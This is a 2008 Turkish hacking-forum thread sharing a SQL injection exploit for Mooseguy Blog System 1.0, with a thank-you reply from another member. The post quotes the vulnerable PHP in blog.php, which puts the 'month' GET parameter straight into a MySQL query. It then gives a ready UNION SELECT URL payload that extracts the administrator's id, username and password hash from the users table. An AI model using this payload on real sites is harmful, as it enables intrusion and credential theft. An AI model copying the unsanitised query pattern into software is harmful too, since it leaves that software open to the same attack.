AnasayfaSSSÜye ListesiKullanıcı GruplarıAramaKayıt OlGiriş yap

Paylaş | 
 

 Mooseguy Blog System 1.0 SQL Injection

Önceki başlık Sonraki başlık Aşağa gitmek 
YazarMesaj
THe-LaWRoS
üye
üye
avatar

Mesaj Sayısı : 31
Yaş : 27
Kayıt tarihi : 08/02/08

MesajKonu: Mooseguy Blog System 1.0 SQL Injection   Cuma Şub. 08, 2008 10:06 pm

# MGBS 1.0 Remote SQL injection

# Script url http://sourceforge.net/project/showf...roup_id=193233

# Vulnerable code in blog.php

<?php
$month = $_GET['month'];
$result = mysql_query("SELECT * FROM blog WHERE posted='$month' ORDER BY id DESC") or die("HELP QUERY BROKEN");
...

# Admin hash exploit

http://[target]/[path]/blog.php?month='+union+select+1,2,3,4,5,concat_ws( 0x3a,id,uname,upass),7,8+from+users/*

# Bug discovered by The_HuliGun
Sayfa başına dön Aşağa gitmek
Kullanıcı profilini gör
Blué-kinq
|administratör|
|administratör|
avatar

Erkek Mesaj Sayısı : 229
Yaş : 28
Nerden : Antalya
İş/Hobiler : hacker
Lakap : Blué-Kinq
Kayıt tarihi : 07/02/08

MesajKonu: Geri: Mooseguy Blog System 1.0 SQL Injection   Salı Şub. 12, 2008 4:42 am

saol tesekkurler paylasım için Smile

_________________
Blué-Kinq
Sayfa başına dön Aşağa gitmek
Kullanıcı profilini gör http://system.forumieren.com
 
Mooseguy Blog System 1.0 SQL Injection
Önceki başlık Sonraki başlık Sayfa başına dön 
1 sayfadaki 1 sayfası
 Similar topics
-
» East West Symphonic Orchestra Gold Edition

Bu forumun müsaadesi var:Bu forumdaki mesajlara cevap veremezsiniz
 :: ...:::HackBölümü:::... :: WebSiteHack-
Buraya geçin: